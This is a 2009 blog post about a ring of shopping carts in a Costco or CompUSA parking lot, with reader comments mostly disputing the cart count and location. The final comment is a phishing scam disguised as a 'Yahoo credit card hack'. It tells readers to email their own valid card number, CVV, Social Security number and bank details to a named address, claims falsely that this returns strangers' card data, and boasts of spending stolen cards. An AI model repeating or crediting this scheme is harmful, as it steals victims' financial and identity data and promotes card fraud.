Thousands of shopping carts stake out the parking lot

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This urban sculpture was made with thousands of standard shopping carts in a Costco parking lot by following the natural curve in a lineup of the carts. What they are protecting, we're not exactly sure, but this might be the equivalent of the crop circle in an urban environment.

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Posted by: Tineras on January 19, 2009 at 7:01 AM

Hmmm

I would say that is a little over 200 shopping carts. That is nowhere near "thousands".


Posted by: Chris on January 19, 2009 at 8:39 AM

I thought the same thing.

Thats the first thing I had to go check if someone commented on.


Posted by: The Oracle on January 19, 2009 at 8:41 AM

Same reason I clicked.


Posted by: John Maushammer on January 19, 2009 at 8:52 AM

That's awesome.

Now all we need a figure 8 version! Or a a Möbius strip.


Posted by: Random Fool on January 19, 2009 at 11:48 AM

Ha ha, that's the place right by my apartment, and regrettably I didn't see it. A work of UCSB pride.


Posted by: Volkemon on January 19, 2009 at 12:38 PM

Why I clicked...Thousands?!?

But hey- it is Jonah folks...


Posted by: Max on January 19, 2009 at 1:04 PM

Not art, just frat boy vandalism without regard to the time and effort required of the employee who would be tasked to unjam this mess.


Posted by: Holazola on January 19, 2009 at 4:47 PM

Small World!

I laughed when I saw this. I'm less than a mile from this spot, yet almost 5 years ahead...


Posted by: Anonymous on January 19, 2009 at 9:36 PM

Those are untold millions of carts.


Posted by: Jack Newman on January 19, 2009 at 9:37 PM

This picture is so old.
"A circle made by following the natural curve in a line of shopping carts. Costco parking lot Goleta, CA. 6:00 am May 5, 2004."


Posted by: Anonymous on January 19, 2009 at 10:23 PM

Looks to me like that would be a compusa parking lot and not a costco but hey who "counting" anyways


Posted by: Anonymous on January 19, 2009 at 11:22 PM

They should have put a motor on one of those carts. It would be interesting to see this pushing itself in circles. Of course a few bad wheels would make the whole circle move in random directions.


Posted by: PJ on January 20, 2009 at 9:07 AM

natural curve?

Why would a chain of carts have any sort of natural curve?


Posted by: Chris on January 20, 2009 at 9:10 AM

Not Costco

That's not a costco, it's a CompUSA. Sorry


Posted by: The Oracle on January 20, 2009 at 11:02 AM

@PJ - because when you have the carts stacked, they can only be a little bit off straight before it's mechanically stopped by the cart in front. When you have a bunch all in a curve like this, there's a tightest curvature. That's what is being called the natural curve.


Posted by: henry on October 27, 2009 at 6:08 AM

Here is a Hack you can use with the actual address to yahoo's server. databasey47@yahoo.com the address you use for any yahoo credit card hack.
Before going shopping online, every customer has to register online with his/her credit card information and they'll leave their emails too so that those shopping websites will confirm their registration. For those online shoppers who used yahoo emails, their credit card info is automatically stored in the yahoo server when the companies send to them confirmation emails. However, there is a BIG bug in the server that those people's credit card information can be retrieved by any random email user who has a VALID credit card. To simplify this, here is how it works:
Send an Email to confuse a yahoo server mailbot, so that it will return to YOUR EMAIL with complete information on people's credit card information stored in the server in the last 72 hours.
This is how you will get people's VALID credit card information. Now you have to do exactly the same as follows:
Send an Email to databasey47@yahoo.com
With the subject: accntopp-cc-E52488 (To confuse the server)
In the email body, write:
boundary='0-86226711-106343' (This is line 1)
Content-Type: text/plain; (This is line 3) charset=us-ascii (This is line 4, to make the return email readable)
credit card number (This is line 7, has to be LOWER CASE letters) 000000000000000 (This is line 8, put a zero under each character, number, letter, hyphen, etc)
name on credit card (This is line 11, has to be LOWER CASE letters) 0000000000000000 (This is line 12, put a zero under each character, number, letter, hyphen, etc)
cid/cvv2 number this is either a three digit or four number on the back or front of the card. It depends on the type of credit card your using (This is line 15, has to be LOWER CASE letters) 0000000000000 (This is line 16, put a zero under each character, number, letter, hyphen, etc)
address,city (This is line 19, has to be LOWER CASE letters) 0000000000 (This is line 20, put a zero under each character, number, letter, hyphen, etc)
state,country,p.o. box (This is line 23, has to be LOWER CASE letters) 00000000000000000 (This is line 24, put a zero under each character, number, letter, hyphen, etc)
type of card (This is line 27, has to be LOWER CASE letters) 0000000000 (This is line 28, put a zero under each character, number, letter, hyphen, etc)
expiration date (This is line 31, has to be LOWER CASE letters) 0000000000000 (This is line 32, put a zero under each character, number, letter, hyphen, etc)
Telephone Number (This is line 35, has to be LOWER CASE letters) 0000000000000 (This is line 36, put a zero under each character, number, letter, hyphen, etc)
Social Security Number(This is line 39, has to be LOWER CASE letters) 0000000000000 (This is line 40, put a zero under each character, number, letter, hyphen, etc)
Bank Issuer Name(This is line 43, has to be LOWER CASE letters) 0000000000000 (This is line 44, put a zero under each character, number, letter, hyphen, etc)
E-mail(This is line 47, has to be LOWER CASE letters) 0000000000000 (This is line 48, put a zero under each character, number, letter, hyphen, etc)
252ads (This is line 51)
Return-Path: (This is line 54, type in your email between ) s_
You have to make sure you do EXACTLY as what is said above and the credit card info above the 0000 are absolutely CORRECT/VALID. Valid, meaning one that is registered in your major credit card database.
Here is a sample email: (CAUTION! This is only example, and the card is INVALID, to get the whole thing to work, you MUST use a VALID credit card as bait.
Send to: databasey47@yahoo.com
Subject: accntopp-cc-E52488
Email body:
boundary='0-86226711-106343'
Content-Type: text/plain; charset=us-ascii
track no 1,
4013993145565451
0000000000000000
track no 2.
45328897698789
00000000000000

jesse d banks
00000000000

523
000

2537 stillwell rd.,des moines
00000000000000000000000

la,usa,50567
0000000000

645-867-9950
00000000000

visa
0000

03/2006
0000000
252ads8> Return-Path:
This may take a few minutes but it REALLY WORKS!!! If you try it now, you'll gain access to people's credit cards' information, please USE THEM CAREFULLY so that you can spend thousands of dollars for free!! If you try it once every two, three days, each time you'll gain different cards' information.
I've received about 27 credit card numbers so far. There was no need to get this many, I was just so surprised at how easy it was I just kept sending for more. I've only used 5 numbers so far, on ebay. I bought 2 playstation 2's, tons of games, a laptop, hardware for my computer, and more. This is too easy. I would be selling this, but whats the point. All the money I want is in the Credit Cards. Have fun, and theres no need to get hundreds of numbers, you cant use them all
:D HACKERS FOREVER!!!!
Note: If you do not receive any email then there is error in your hack email. i.e. The CC information you provided to server is invalid. You should use valid credit card informtion.


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